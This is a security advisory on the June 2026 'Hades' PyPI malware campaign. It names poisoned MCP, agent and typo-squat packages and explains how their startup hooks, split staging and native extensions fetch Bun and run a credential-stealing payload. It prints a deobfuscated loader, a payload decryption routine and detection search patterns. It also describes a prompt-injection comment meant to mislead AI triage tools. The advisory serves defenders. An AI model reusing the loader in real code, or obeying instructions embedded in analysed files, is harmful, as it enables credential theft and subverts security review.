critical
CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-829, CWE-522
Affected Surface
Follow-on June 9 2026 Hades PyPI packages including openai-mcp, langchain-core-mcp, instructor-mcp, tiktoken-mcp, ray-mcp-server, rsquests, rlask, tlask, dreamgen, mem8, orchestr8-platform, and phenopacket-store-toolkit, Python developer workstations, AI-agent environments, notebooks, and CI runners that installed affected wheels, MCP and AI integration environments using openai-mcp, langchain-core-mcp, instructor-mcp, tiktoken-mcp, or ray-mcp-server, Any host exposing GitHub, cloud, SSH, registry, Docker, Kubernetes, Vault, or AI-tool credentials to the Python runtime
The new package-security development from 9 June is not simply “more Hades.” Public follow-on reporting shows the PyPI campaign pivoting from the earlier graph-ML and bioinformatics cluster into developer tooling that is much more likely to sit on general-purpose workstations, AI-agent sandboxes, and CI runners: MCP helpers, agent-adjacent libraries, and typo-squatted stand-ins for everyday Python packages.
That pivot changes the exposure profile. A poisoned scientific package may stay inside a niche research environment. A poisoned openai-mcp, langchain-core-mcp, instructor-mcp, tiktoken-mcp, ray-mcp-server, rsquests, or tlask package is aimed at broadly privileged developer environments that often hold GitHub tokens, cloud keys, SSH material, registry credentials, and AI-tool configuration.
Affected packages
Public 9 June follow-on reporting named these package-version pairs:
| Package | Malicious version(s) |
|---|---|
dreamgen | 1.8.1 |
instructor-mcp | 1.15.2, 1.15.3 |
langchain-core-mcp | 1.4.2, 1.4.3 |
mem8 | 6.0.1 |
openai-mcp | 2.41.1, 2.41.2 |
orchestr8-platform | 3.3.2 |
phenopacket-store-toolkit | 0.1.7 |
ray-mcp-server | 0.2.1 |
rlask | 3.1.7 |
rsquests | 2.34.3 |
tiktoken-mcp | 0.13.1, 0.13.2 |
tlask | 3.1.4 |
The package names reveal three target classes:
- MCP and AI integration packages:
openai-mcp,langchain-core-mcp,instructor-mcp,tiktoken-mcp,ray-mcp-server - Agent or platform-adjacent packages:
dreamgen,mem8,orchestr8-platform - Low-friction typo lures:
rsquests,rlask,tlask
phenopacket-store-toolkit is the bridge back to the earlier scientific wave. It suggests the operator did not abandon the research-tooling cluster; it widened the target set to reach both niche Python users and mainstream AI/developer workflows in the same campaign family.
Why this branch is distinct
The interesting part of the June 9 follow-on is not just the package list. Public reporting describes delivery branches tuned for defender blind spots:
.pthstartup hooks that execute during interpreter startup.- A split-loader variant in
langchain-core-mcpthat searches the Python environment for_index.jsinstead of keeping loader and payload together. - Native-extension execution where compiled
*.abi3.socode becomes the trigger path.
That is a meaningful progression from the earlier “malicious package contains obvious loader file” model. The operator is actively designing around artifact review shortcuts.
Delivery mechanism 1: .pth startup execution
Dark Reading’s summary of Socket’s research describes malicious wheels that ship a *-setup.pth file. Python processes these at startup, and any line beginning with import is executable code, not inert metadata.
A representative deobfuscated flow looks like:
import os, subprocess, sys, tempfile, urllib.request
payload = None
for path in sys.path:
candidate = os.path.join(path, "_index.js")
if os.path.exists(candidate):
payload = candidate
break
bun_zip = os.path.join(tempfile.gettempdir(), "b.zip")
bun_bin = os.path.join(tempfile.gettempdir(), "b", "bun")
urllib.request.urlretrieve(
"https://github.com/oven-sh/bun/releases/download/bun-v1.3.14/...",
bun_zip,
)
subprocess.run(["unzip", "-q", "-d", os.path.dirname(bun_bin), bun_zip], check=False)
subprocess.run([bun_bin, "run", payload], env=dict(os.environ), check=False)
The important security property is that Python startup itself becomes the execution edge. You do not need to import the malicious package explicitly after installation.
Delivery mechanism 2: split staging in langchain-core-mcp
The langchain-core-mcp branch is technically more interesting. Public reporting says the wheel can install a .pth loader without shipping _index.js alongside it. Instead, the loader walks sys.path and one directory beneath each path entry to find the payload staged elsewhere.
That breaks simplistic detection logic such as:
flag wheels that contain both *.pth and _index.js
because the loader and the JavaScript stage do not have to live in the same wheel. For internal package review pipelines, this means:
wheel A: looks like a small startup hook only
wheel B or sibling path: contains _index.js
runtime: loader stitches them together at startup
The split-loader design is particularly relevant for MCP-focused environments because those often mix many small helper packages and dynamic plugin-style imports, making package-to-package staging harder to spot during casual review.
Delivery mechanism 3: native-extension import trigger
The follow-on reporting also describes a native-extension path where compiled *.abi3.so modules are the loader. In that case, source review of the Python package can look mostly harmless while the real trigger is hidden inside the wheel’s binary extension and executes as soon as Python loads it through dlopen().
The execution chain becomes:
python import
-> dlopen(compromised .abi3.so)
-> extension-side loader locates _index.js
-> Bun runtime is downloaded or reused
-> bun run _index.js
-> credential theft, GitHub/API abuse, persistence
For AppSec teams, this is the PyPI equivalent of the registry-artifact-versus-source mismatch seen in recent npm compromises. Reviewing only repository source or sdists is no longer sufficient when the real behavior is embedded in the published wheel.
The second stage is still a Bun-executed JavaScript stealer
Even though the entry point is Python, the payload remains a JavaScript program executed under Bun. StepSecurity’s reverse engineering shows the bootstrapper decrypting gzip-compressed AES-GCM blobs at runtime:
function decryptBlob(hexKey, base64Ciphertext) {
const key = Buffer.from(hexKey, "hex");
const data = Buffer.from(base64Ciphertext, "base64");
const iv = data.subarray(0, 12);
const tag = data.subarray(12, 28);
const cipher = data.subarray(28);
const decipher = createDecipheriv("aes-256-gcm", key, iv);
decipher.setAuthTag(tag);
const plain = Buffer.concat([decipher.update(cipher), decipher.final()]);
return new TextDecoder().decode(Bun.gunzipSync(plain));
}
That cross-runtime design matters operationally:
- the package manager is PyPI, but the runtime behavior is JavaScript
- defenders keyed only to
pythonchild-process trees may miss the Bun stage - static review of Python source alone does not explain the real payload
If your CI telemetry shows Python startup followed by a Bun download or bun run _index.js, assume compromise executed.
Hades now targets the environments AppSec teams actually care about
The June 9 package choices make the operator intent clearer than the June 8 scientific-only cluster. MCP and AI integration packages are likely to run where defenders keep:
- GitHub tokens and GitHub CLI state
- cloud credentials for AWS, Azure, or GCP
.pypirc,.npmrc, and other registry publishing material- SSH keys and Docker credentials
- Cursor, Claude, VS Code, Codex, or MCP configuration files
StepSecurity also describes the Hades family scraping CI agent memory with Linux /proc/<pid>/mem, macOS mach_vm_read_overwrite(), and Windows ReadProcessMemory(). So the threat model is not limited to environment variables or plaintext config files. Secrets injected into a runner process can still be in scope once the malware executes.
The anti-analysis trick is relevant to AI security pipelines
One of the more novel details in public reporting is a large prompt-injection block placed inside _index.js. Bun skips the comment at runtime, but AI-assisted triage systems that ingest raw file text can be coerced into false-negative conclusions if they treat that text as instructions instead of untrusted input.
That is important for teams building automated package triage or using LLMs to summarize suspicious artifacts. The malware is now trying to shape the analyst pipeline, not just the victim runtime.
Detection and scoping
Search manifests, lockfiles, and image contents for the named follow-on packages:
rg -n \
"dreamgen|instructor-mcp|langchain-core-mcp|mem8|openai-mcp|orchestr8-platform|phenopacket-store-toolkit|ray-mcp-server|rlask|rsquests|tiktoken-mcp|tlask" \
requirements*.txt pyproject.toml poetry.lock uv.lock Pipfile.lock
Then inspect Python environments and wheel caches for the execution markers:
rg -n "_index\\.js|DontRevokeOrItGoesBoom|TheBeautifulSnadsOfTime|firedalazer|Hades - The End for the Damned" \
.venv site-packages ~/.cache/pip
rg -n --glob "*.pth" "import .*_index|urllib\\.request|subprocess\\.run|bun" \
.venv site-packages ~/.cache/pip
rg -n "\\.abi3\\.so|bun-v1\\.3\\.14|ReadProcessMemory|mach_vm_read_overwrite|/proc/.*/mem" \
.venv site-packages ~/.cache/pip
For CI and developer workstations, also review:
unexpected Bun downloads during Python startup
GitHub API access tied to the listed Hades markers
unexpected public repositories with Hades-themed names
process-memory reads against Runner.Worker or other CI agent processes
new user-level systemd units, LaunchAgents, or updater scripts
Response guidance
Treat any installation of the listed versions as code execution on the installing or importing host.
- Isolate the affected workstation, notebook, or CI runner before rotating credentials.
- Preserve the virtual environment, wheel cache, and job logs for incident scoping.
- Rotate GitHub, cloud, SSH, registry, Docker, Vault, Kubernetes, and AI-tool secrets reachable from the host.
- Audit GitHub for suspicious workflow creation, package publication, branch manipulation, or public repository creation.
- Rebuild from clean images and lockfiles rather than trusting in-place cleanup.
Where a clean successor is already visible for this follow-on set, use at least:
phenopacket-store-toolkit >= 0.1.8
The bigger lesson is that the Hades family is no longer just infecting specialized Python niches. By 9 June 2026 it had a clear path into MCP developer tooling and typo-squatted everyday packages, using startup hooks, split staging, and wheel-binary triggers to move closer to the high-trust workstations and CI environments that application security teams are responsible for defending.
References
- Socket: Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads with New PyPI Wave
- StepSecurity: The Hades Campaign: Graph ML PyPI Packages Deploy Cross-Platform Memory Scrapers, AI Analyst Misdirection, and a Wiper Deterrent
- Dark Reading: 'Hades' Campaign Against PyPI Puts New Spin on Shai-Hulud
- Cyber Security News: New Shai-Hulud Attack Compromises 23 PyPI Packages to Target MCP Developers
- CWE-506 Embedded Malicious Code
- CWE-494 Download of Code Without Integrity Check
- CWE-829 Inclusion of Functionality from Untrusted Control Sphere
- CWE-522 Insufficiently Protected Credentials